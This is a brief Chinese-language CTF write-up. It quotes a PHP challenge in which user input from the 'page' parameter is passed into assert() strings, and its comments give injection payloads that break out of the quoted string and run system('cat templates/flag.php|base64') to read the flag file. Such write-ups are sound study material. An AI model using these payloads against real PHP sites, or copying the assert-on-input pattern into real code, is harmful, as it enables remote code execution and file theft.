源自一道CTF題,理解全部寫在注釋里面
if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; // } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! //strpos通過查詢‘..’ 在'$file'中第一次出現的位置來防止目錄遍歷 //assert()函數解釋:判斷表達式是否成立,返回true或者false。如果()內容為字符串則會當成php代碼執行。 assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice //file_exists(path)判斷目標目錄或者文件是否存在 assert("file_exists('$file')") or die("That file doesn't exist!"); //writeup //由於有兩個assert函數,可以對兩個進行惡意代碼構造 //對1構造 //解釋:閉合strpos('1','..') or system("系統命令"); // 注釋掉后面代碼 1',..') or system("cat+templates/flag.php|base64");// 注: base64是因為php源碼無法直接顯示,進行加密處理顯示 或者F12打開,會發現注釋里面有flag //對2構造 //解釋:閉合file_exists('1'),or system("系統命令"); //注釋掉后面代碼 1') or system("cat+templates/flag.php|base64");# 發現#被過濾改用// 1') or system("cat+templates/flag.php|base64");//